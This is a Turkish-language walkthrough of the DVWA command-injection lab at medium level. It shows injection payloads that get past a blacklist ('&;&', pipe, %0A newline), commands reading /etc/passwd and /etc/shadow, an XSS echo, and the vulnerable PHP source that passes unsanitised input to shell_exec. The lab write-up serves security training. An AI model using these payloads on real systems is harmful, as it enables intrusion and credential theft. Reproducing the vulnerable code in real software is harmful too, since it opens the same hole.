Metin alanına “127.0.0.1” gibi bir IP girildiğinde sonucun ekrana basıldığı görülmektedir.
127.0.0.1
Bunun yanında 2 komutu ardışık olarak çalıştırmak için “;” kullanıldığında, uygulamanın herhangi bir çıktı vermediği görülmektedir.
127.0.0.1; id
Benzer olarak “&&” kullanıldığında da uygulamanın herhangi bir çıktı vermediği görülmektedir.
127.0.0.1 && id
Bu karakterlerin filtrelendiği düşünülerek “&;&” kullanıldığında ise hedef işletim sisteminde belirtilen komutların çalıştırılabildiği görülmektedir.
127.0.0.1 &;& id
“&;&” kullanılarak birden fazla komutun çalıştırıldığı da görülmektedir.
127.0.0.1 &;& id &;& uname -a &;& head -5 /etc/shadow &;& tail -5 /etc/passwd
Uygulama kullanıcısının (www-data) yetkisi olmadığı için “/etc/shadow” dosyasının okunamadığı ve herhangi bir hata mesajı ile karşılaşılmadığı da görülmektedir. Ayrıca bu ifadeden sonraki ifadelerin de ekrana yazdırılmadığı görülmektedir.
127.0.0.1 &;& id &;& uname -a &;& tail -5 /etc/passwd
Zafiyete sebep olan kod parçacığı aşağıdaki gibidir. “&&” ve “;” ifadelerinin bulunduğu karakterler silindiği için işletim sistemi seviyesinde kod çalıştırılabilmiş oldu.
$target = $_REQUEST[ ‘ip’ ];
$substitutions = array(‘&&’ => ”,’;’ => ”);
$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;
Bunun yanında “|” karakteri kara listeye alınmadığı için işletim sisteminde kod çalıştırılabilmektedir.
127.0.0.1 | id
Not: PHP preg_match fonksiyonunun kullanılması gibi bazı durumlarda, IP formatı kontrolü yapılabilmektedir. Bu gibi bir durumu atlatmak için yeni satır (%0A) bırakılarak komut çalıştırılabilir.
127.0.0.1%0Acat /etc/passwd
OWASP DVWA‘da bir uygulama zafiyeti başlığı altında birden fazla zafiyet de bulunabilmektedir. İşletim sisteminde çalışan komutun çıktısının ekrana basılması sırasında, XSS zafiyetinin olduğu da görülmektedir.
127.0.0.1 &;& echo “<script> alert(‘XSS de var’)</script>”
İlgili Kaynak Kod:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<?php if( isset( $_POST[ 'submit'] ) ) { $target = $_REQUEST[ 'ip' ]; // Remove any of the charactars in the array (blacklist). $substitutions = array( '&&' => '', ';' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } ?> |
Kaynak:
http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-5—Command-Injection-Medium-Level.php